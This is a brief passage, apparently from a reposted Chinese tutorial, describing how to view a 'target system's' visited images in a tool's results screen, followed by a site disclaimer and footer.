(12)從該界面可以看到,搜索的結果共有3頁。如果想查看目標系統訪問過的圖片,單擊左側欄中的Image選項,將顯示如圖6.31所示的界面。

圖6.31 訪問的圖片

(13)從該界面可以看到目標系統訪問過的所有圖片信息。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM